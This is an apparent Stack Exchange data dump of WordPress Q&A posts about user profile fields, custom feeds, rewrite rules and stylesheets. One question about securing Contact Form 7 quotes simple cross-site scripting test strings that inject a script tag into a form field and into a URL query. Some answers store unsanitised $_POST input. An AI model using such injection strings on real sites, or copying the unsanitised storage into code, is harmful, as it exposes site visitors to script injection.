  <row Id="22860" PostTypeId="2" ParentId="22857" CreationDate="2011-07-13T18:01:41.327" Score="0" ViewCount="" Body="&lt;p&gt;There is no &lt;code&gt;jquery-ui-dialog&lt;/code&gt; style defined in WordPress Out of the box, you need to ue the stylesheets manually, when i needed to enqueue the jQuery-UI style i pulled it from google api CDN &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style('jquery-style', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/smoothness/jquery-ui.css'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you can enqueue a local copy if you want like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'myStylesheet', WP_PLUGIN_URL . '/path/stylesheet.css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T18:01:41.327" />
  <row Id="22861" PostTypeId="1" AcceptedAnswerId="22868" CreationDate="2011-07-13T18:02:42.820" Score="0" ViewCount="45" Body="&lt;p&gt;I have this code that adds the check box to the 'Edit User' page but when i check it, and refresh the page, the box becomes unchecked... what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'module_user_profile_fields' );&#xA;add_action( 'edit_user_profile', 'module_user_profile_fields' );&#xA;function module_user_profile_fields( $user ) &#xA;{ ?&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Module Options&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;module_activation&quot;&amp;gt;Module Activation&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input id=&quot;module_activation&quot; name=&quot;module_activation&quot; type=&quot;checkbox&quot; value=&quot;&amp;lt;?php echo esc_attr( get_the_author_meta( 'module_activation', $user-&amp;gt;ID )); ?&amp;gt;&quot; &amp;lt;?php if ( get_the_author_meta( 'module_activation', $user-&amp;gt;ID ) == 1  ) echo ' checked=&quot;checked&quot;'; ?&amp;gt; /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e(&quot;Please enter your address.&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;add_action( 'personal_options_update', 'save_module_user_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'save_module_user_profile_fields' );&#xA;&#xA;function save_module_user_profile_fields( $user_id ) &#xA;{&#xA;    if ( !current_user_can( 'edit_user', $user_id ) ) { return false; }&#xA;&#xA;    update_usermeta( $user_id, 'module_activation', $_POST['module_activation'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i got to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'module_user_profile_fields' );&#xA;add_action( 'edit_user_profile', 'module_user_profile_fields' );&#xA;function module_user_profile_fields( $user ) &#xA;{ ?&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Module Options&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;module_activation&quot;&amp;gt;Module Activation&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input id=&quot;module_activation&quot; name=&quot;module_activation&quot; type=&quot;checkbox&quot; value=&quot;1&quot; &amp;lt;?php if ( get_the_author_meta( 'module_activation', $user-&amp;gt;ID ) == 1  ) echo ' checked=&quot;checked&quot;'; ?&amp;gt; /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e(&quot;Please enter your address.&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;add_action( 'personal_options_update', 'save_module_user_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'save_module_user_profile_fields' );&#xA;&#xA;function save_module_user_profile_fields( $user_id ) &#xA;{&#xA;    if ( !current_user_can( 'edit_user', $user_id ) ) { return false; }&#xA;&#xA;    update_usermeta( $user_id, 'module_activation', $_POST['module_activation'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="5140" LastEditorDisplayName="" LastEditDate="2011-07-13T19:37:26.013" LastActivityDate="2011-07-13T19:45:40.270" Title="Add extra field to users" Tags="&lt;php&gt;&lt;users&gt;&lt;input&gt;" AnswerCount="1" />
  <row Id="22862" PostTypeId="2" ParentId="22850" CreationDate="2011-07-13T18:27:02.753" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;esc_html( $string )&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/esc_html&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), which among other things encodes single- and double-quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reference, see the &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation&lt;/a&gt; entry in the Codex.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-13T18:27:02.753" />
  <row Id="22863" PostTypeId="2" ParentId="22849" CreationDate="2011-07-13T18:34:15.310" Score="2" ViewCount="" Body="&lt;p&gt;Here is how to create a custom feed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first create a new file in your theme's directory , name it &lt;code&gt;your-custom-feed.php&lt;/code&gt; and put this code inside&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;     /**&#xA;      * custom RSS feed.&#xA;      *&#xA;      * @package WordPress&#xA;      */&#xA;&#xA;     header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);&#xA;     $more = 1;&#xA;&#xA;    echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;'.get_option('blog_charset').'&quot;?'.'&amp;gt;'; ?&amp;gt;&#xA;&#xA;    &amp;lt;rss version=&quot;2.0&quot;&#xA;        xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;        xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;        xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;        xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;        xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;        xmlns:slash=&quot;http://purl.org/rss/1.0/modules/slash/&quot;&#xA;        &amp;lt;?php do_action('rss2_ns'); ?&amp;gt;&#xA;    &amp;gt;&#xA;&#xA;        &amp;lt;channel&amp;gt;&#xA;            &amp;lt;title&amp;gt;&amp;lt;?php bloginfo_rss('name'); wp_title_rss(); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;            &amp;lt;atom:link href=&quot;&amp;lt;?php self_link(); ?&amp;gt;&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;            &amp;lt;link&amp;gt;&amp;lt;?php bloginfo_rss('url') ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;            &amp;lt;description&amp;gt;&amp;lt;?php bloginfo_rss(&quot;description&quot;) ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;lastBuildDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?&amp;gt;&amp;lt;/lastBuildDate&amp;gt;&#xA;            &amp;lt;language&amp;gt;&amp;lt;?php echo get_option('rss_language'); ?&amp;gt;&amp;lt;/language&amp;gt;&#xA;            &amp;lt;sy:updatePeriod&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_period', 'hourly' ); ?&amp;gt;&amp;lt;/sy:updatePeriod&amp;gt;&#xA;            &amp;lt;sy:updateFrequency&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_frequency', '1' ); ?&amp;gt;&amp;lt;/sy:updateFrequency&amp;gt;&#xA;            &amp;lt;?php do_action('rss2_head'); ?&amp;gt;&#xA;            &amp;lt;?php while( have_posts()) : the_post(); ?&amp;gt;&#xA;            &amp;lt;item&amp;gt;&#xA;                &amp;lt;title&amp;gt;&amp;lt;?php the_title_rss() ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;                &amp;lt;link&amp;gt;&amp;lt;?php the_permalink_rss() ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;                &amp;lt;comments&amp;gt;&amp;lt;?php comments_link_feed(); ?&amp;gt;&amp;lt;/comments&amp;gt;&#xA;                &amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;                &amp;lt;dc:creator&amp;gt;&amp;lt;?php the_author() ?&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;                &amp;lt;?php the_category_rss('rss2') ?&amp;gt;&#xA;&#xA;                &amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;&amp;lt;?php the_guid(); ?&amp;gt;&amp;lt;/guid&amp;gt;&#xA;                &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_excerpt_rss() ?&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;            &amp;lt;?php if ( strlen( $post-&amp;gt;post_content ) &amp;gt; 0 ) : ?&amp;gt;&#xA;                &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_content_feed('rss2') ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_excerpt_rss() ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;wfw:commentRss&amp;gt;&amp;lt;?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?&amp;gt;&amp;lt;/wfw:commentRss&amp;gt;&#xA;                &amp;lt;slash:comments&amp;gt;&amp;lt;?php echo get_comments_number(); ?&amp;gt;&amp;lt;/slash:comments&amp;gt;&#xA;        &amp;lt;?php rss_enclosure(); ?&amp;gt;&#xA;            &amp;lt;?php do_action('rss2_item'); ?&amp;gt;&#xA;            &amp;lt;/item&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/channel&amp;gt;&#xA;    &amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add a simple function to call that template file using &lt;code&gt;do_feed_$hook&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//load feed template&#xA;function create_my_customfeed() {&#xA;    load_template( TEMPLATEPATH . 'your-custom-feed.php'); &#xA;}&#xA;add_action('do_feed_mycustomfeed', 'create_my_customfeed', 10, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when you access &lt;code&gt;http://yoursite.com/?feed=mycustomfeed&lt;/code&gt; you will get a full text feed, no mater what you define inside WordPress admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to create a rewrite rule for your custom feed so your url could be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://yoursite.com/mycustomfeed.xml&lt;/code&gt;&#xA; as well as a &#xA;&lt;code&gt;http://yoursite.com/feed/mycustomfeed/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this code to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//create feed rewirte rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_feed_rewrite($wp_rewrite) {&#xA;    $feed_rules = array('feed/(.+)' =&amp;gt; 'index.php?feed=' . $wp_rewrite-&amp;gt;preg_index(1),'(.+).xml' =&amp;gt; 'index.php?feed='. $wp_rewrite-&amp;gt;preg_index(1));&#xA;    $wp_rewrite-&amp;gt;rules = $feed_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T18:34:15.310" CommentCount="3" />
  <row Id="22864" PostTypeId="2" ParentId="22849" CreationDate="2011-07-13T18:35:54.357" Score="0" ViewCount="" Body="&lt;p&gt;Try something like this (not tested, simplified from more complex code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_feed('full', 'full_feed');&#xA;&#xA;function full_feed() {&#xA;&#xA;    add_filter('pre_option_rss_use_excerpt', '__return_zero');&#xA;    load_template( ABSPATH . WPINC . '/feed-rss2.php' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-13T18:35:54.357" CommentCount="2" />
  <row Id="22865" PostTypeId="1" AcceptedAnswerId="22979" CreationDate="2011-07-13T18:36:24.197" Score="0" ViewCount="139" Body="&lt;p&gt;I've been able to setup and use a couple different LDAP plugins (CoSign SSO, Simple LDAP Logon) to create new WordPress users based on the Active Directory users but it still requires them to manually log in to make posts.  Is there a way to have it pull the user's credentials from the browser and automatically log them in whenever they visit the WordPress site?  I have IIS set up with Windows Authentication and the URL is listed in the browser as one it can trust and send credentials to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need another plugin or would this require editing a page or two in WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="7005" LastActivityDate="2011-07-14T17:06:23.027" Title="Auto login using Active Directory and Windows Authentication" Tags="&lt;plugins&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="22866" PostTypeId="1" CreationDate="2011-07-13T18:47:29.023" Score="0" ViewCount="64" Body="&lt;p&gt;I'd like to use query_posts() to show only posts from editors and administrators on my home page so that normal authors can post on their own pages, but not affect the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the quick reply, I'm a bit of a novice when it comes to php, do you think you could give me the code I require? I'm currently using this, but getting no posts returned despite having several posts by an administrator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_user_search = new WP_User_Query( array( 'role' =&amp;gt; 'administrator' ) );&#xA;$admins = $wp_user_search-&amp;gt;get_results();&#xA;$args = implode(',', $admins);&#xA;query_posts(&quot;author=$args&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7009" LastEditorUserId="7009" LastEditorDisplayName="" LastEditDate="2011-07-13T21:52:16.120" LastActivityDate="2011-07-14T16:56:36.607" Title="Show posts from specific roles" Tags="&lt;query-posts&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="22867" PostTypeId="2" ParentId="22851" CreationDate="2011-07-13T18:47:56.903" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;what is the purpose of &lt;code&gt;register_activation_hook&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Purpose of &lt;code&gt;register_activation_hook&lt;/code&gt; is to let your function run code when the plugin is activated for example if your plugin uses a custom database table you can use that hook to call a function that will create that table in the database, or if you want to define some default options using &lt;code&gt;add_option&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you don't have to delete the options when the plugin is deactivated because some times people deactivate a plugin temporarily and  they would have to redefine the plugins settings every time they do so, instead you should provide an option to &quot;uninstall&quot; the plugins options using a custom function which you can run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for &lt;code&gt;add_action&lt;/code&gt; and &lt;code&gt;add_filter&lt;/code&gt; that are in your main.php file, you don't need to worry about them when the plugin is activated they wont get processed so there is no need to remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and lastly &lt;code&gt;is_admin()&lt;/code&gt; like Milo said, it's a conditional function which checks if you are currently on an admin (WordPress backend) page, so you could call your functions or hooks only on admin pages.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T18:47:56.903" CommentCount="1" />
  <row Id="22868" PostTypeId="2" ParentId="22861" CreationDate="2011-07-13T18:58:43.370" Score="1" ViewCount="" Body="&lt;p&gt;your function never defines a value for that field so when you check if its equal to 1 you never get true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'module_user_profile_fields' );&#xA;add_action( 'edit_user_profile', 'module_user_profile_fields' );&#xA;function module_user_profile_fields( $user ) &#xA;{ ?&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Module Options&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;module_activation&quot;&amp;gt;Module Activation&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input id=&quot;module_activation&quot; name=&quot;module_activation&quot; type=&quot;checkbox&quot; value=&quot;1&quot; &amp;lt;?php if ( get_the_author_meta( 'module_activation', $user-&amp;gt;ID ) == 1  ) echo ' checked=&quot;checked&quot;'; ?&amp;gt; /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e(&quot;Please enter your address.&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;add_action( 'personal_options_update', 'save_module_user_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'save_module_user_profile_fields' );&#xA;&#xA;function save_module_user_profile_fields( $user_id ) &#xA;{&#xA;    if ( !current_user_can( 'edit_user', $user_id ) ) { return false; }else{&#xA;        if(isset($_POST['module_activation']) &amp;amp;&amp;amp; $_POST['module_activation'] &amp;gt; 0){&#xA;            update_usermeta( $user_id, 'module_activation', $_POST['module_activation'] );&#xA;        }else{&#xA;            delete_usermeta($user_id, 'module_activation');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-13T19:45:40.270" LastActivityDate="2011-07-13T19:45:40.270" CommentCount="2" />
  <row Id="22869" PostTypeId="2" ParentId="22808" CreationDate="2011-07-13T19:04:34.050" Score="1" ViewCount="" Body="&lt;p&gt;I'd try to get rid of custom query altogether. Try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_posts(array(&#xA;  'post_type' =&amp;gt; 'attachment',&#xA;  'post_parent' =&amp;gt; get_the_ID(),&#xA;  'numberposts' =&amp;gt; 1,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-13T19:04:34.050" CommentCount="4" />
  <row Id="22870" PostTypeId="2" ParentId="22854" CreationDate="2011-07-13T19:06:49.243" Score="0" ViewCount="" Body="&lt;p&gt;All of database querying is handled by global &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb&lt;/code&gt;&lt;/a&gt; object. So when you load WP core you have acess to it and all its methods for queries.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-13T19:06:49.243" />
  <row Id="22871" PostTypeId="2" ParentId="22856" CreationDate="2011-07-13T19:09:23.437" Score="0" ViewCount="" Body="&lt;p&gt;To add a field to the profile/user edit page you need to use the &lt;code&gt;edit_user_profile&lt;/code&gt; hook and &lt;code&gt;show_user_profile&lt;/code&gt; hook so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'my_extra_user_fields' );&#xA;add_action( 'edit_user_profile', 'my_extra_user_fields' );&#xA;function my_extra_user_fields( $user ) &#xA;{ ?&amp;gt;&#xA;    &amp;lt;h3&amp;gt;User avatar&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;label for=&quot;user_avatar&quot;&amp;gt;User avatar&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input id=&quot;user_avatar&quot; name=&quot;user_avatar&quot; type=&quot;text&quot; value=&quot;&#xA;                    &amp;lt;?php $user_avatar = get_the_author_meta( 'user_avatar', $user-&amp;gt;ID ); &#xA;                        echo $user_avatar ? $user_avatar : '';?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e(&quot;Please enter Avatar URL.&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then to save that field you need to use &lt;code&gt;personal_options_update&lt;/code&gt; hook and &lt;code&gt;edit_user_profile_update&lt;/code&gt; hook so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'personal_options_update', 'save_my_extra_user_fields' );&#xA;add_action( 'edit_user_profile_update', 'save_my_extra_user_fields' );&#xA;&#xA;function save_my_extra_user_fields( $user_id ) &#xA;{&#xA;    if ( !current_user_can( 'edit_user', $user_id ) ) { return false; }else{&#xA;&#xA;        if(isset($_POST['user_avatar']) &amp;amp;&amp;amp; $_POST['user_avatar'] != &quot;&quot;){&#xA;            update_usermeta( $user_id, 'user_avatar', $_POST['user_avatar'] );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as you already know you can featch that data using &lt;code&gt;the_author_meta()&lt;/code&gt; or &lt;code&gt;get_user_meta()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-13T19:09:23.437" CommentCount="1" />
  <row Id="22872" PostTypeId="1" CreationDate="2011-07-13T20:09:51.097" Score="0" ViewCount="73" Body="&lt;p&gt;I have a client who's website I created with Wordpress. It has a contact form created with contact form 7. This client is a subsidiary of a larger organization who's IT department runs scans on their subdomains. The asked my client to protect Contact Form 7 from malicious scripts or take it down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I asked for an example of what they tested, my client informed me that they run tests to see if a script could be inserted into a input (ie: &lt;code&gt;&amp;lt;script&amp;gt;alert('hello');&amp;lt;/script&amp;gt;&lt;/code&gt;) field or as a url string (ie: &lt;code&gt;www.mydomain.com/contact?&amp;lt;script&amp;gt;alert('hello');&amp;lt;/script&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the query string, the contact form sets the action to: &lt;code&gt;action=&quot;/?scriptalert('hello');/script#wpcf7-f1-p6-o1&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can add to remove the possibility of running scripts in Contact Form 7?&lt;/p&gt;&#xA;" OwnerUserId="6195" LastActivityDate="2011-08-21T13:32:59.973" Title="Securing Contact Form 7" Tags="&lt;javascript&gt;&lt;wordpress.com&gt;&lt;security&gt;&lt;contact-form-7&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="22873" PostTypeId="1" AcceptedAnswerId="22876" CreationDate="2011-07-13T20:11:13.470" Score="0" ViewCount="51" Body="&lt;p&gt;As suggested on this site, I am using this code to style an excerpt if no post format is selected/if it is a standard post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$format = get_post_format();&#xA;if ( false === $format )&#xA;{&#xA;echo 'This is a default post';&#xA;the_excerpt();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it seems there must be a better way to include it with one PHP statement... the rest of which follows this pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( 'video' )) {&#xA;    ?&amp;gt;&#xA;    A VIDEO POST&#xA;    &amp;lt;?php the_content();&#xA;}&#xA;if ( has_post_format( 'audio' )) {&#xA;    ?&amp;gt;&#xA;    AN AUDIO POST&#xA;    &amp;lt;?php the_content();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody know how to include the original code in this same if statement?  If, then...&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-14T12:20:40.943" Title="A better code for no post format?" Tags="&lt;posts&gt;&lt;php&gt;&lt;post-formats&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="22874" PostTypeId="1" CreationDate="2011-07-13T20:13:17.870" Score="0" ViewCount="86" Body="&lt;p&gt;I would like to add caption to a image I just uploaded through a from. So I have the attachment id and the caption text in a variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found wp_update_attachment_metadata in wordpress codex .. but how do I add caption through it?&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-13T20:13:17.870" Title="add image caption" Tags="&lt;attachments&gt;&lt;wordpress.org&gt;" />
  <row Id="22875" PostTypeId="2" ParentId="22625" CreationDate="2011-07-13T20:13:34.897" Score="0" ViewCount="" Body="&lt;p&gt;I would not use the Apache Rewrite module, but the built-in WordPress rewrite functionality. If you want to see the rules it uses, install &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;. You can just duplicate the rules of your post type, with the old slug instead of the new slug. This way both URLs will link to your post content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The filter name is [post type name]_rewrite_rules, so I assume your post type name (not rewrite slug) is `designer`&#xA;add_filter( 'designer_rewrite_rules', 'wpse22625_designer_rewrite_rules' );&#xA;function wpse22625_designer_rewrite_rules( $rules )&#xA;{&#xA;    $old_rules = array();&#xA;    foreach ( $rules as $pattern =&amp;gt; $substitution ) {&#xA;        $old_pattern = str_replace( 'designer', 'designer_lingerie', $pattern );&#xA;        $old_rules[$old_pattern] = $substitution;&#xA;    }&#xA;    return $rules + $old_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not generate a redirect - weird, I expected &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/canonical.php&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;redirect_canonical()&lt;/code&gt; function&lt;/a&gt; to do this. You can do it yourself if you want, either by hooking into &lt;code&gt;redirect_canonical&lt;/code&gt;, or by setting an extra flag that you check yourself.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-07-13T20:13:34.897" CommentCount="1" />
  <row Id="22876" PostTypeId="2" ParentId="22873" CreationDate="2011-07-13T20:26:33.973" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure I understand. Do you just want to join all the if-statements together? If that's the case you could use elseif, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$format = get_post_format();&#xA;if ( false === $format ) {&#xA;echo 'This is a default post';&#xA;the_excerpt();&#xA;} elseif ( has_post_format( 'video' )) { ?&amp;gt;&#xA;   A VIDEO POST&#xA;    &amp;lt;?php the_content();&#xA;} elseif ( has_post_format( 'audio' )) { ?&amp;gt;&#xA;    AN AUDIO POST&#xA;    &amp;lt;?php the_content();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-13T20:26:33.973" />
  <row Id="22877" PostTypeId="2" ParentId="7594" CreationDate="2011-07-13T20:30:11.730" Score="0" ViewCount="" Body="&lt;p&gt;My plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/get-post/&quot; rel=&quot;nofollow&quot;&gt;get-post&lt;/a&gt; should handle this. It allows you to include posts in other posts/pages and will go ahead and process plugins during this inclusion. It should allow for a little bit of recursion as well :) (Using the plugin &lt;/p&gt;&#xA;" OwnerUserId="7010" LastActivityDate="2011-07-13T20:30:11.730" />
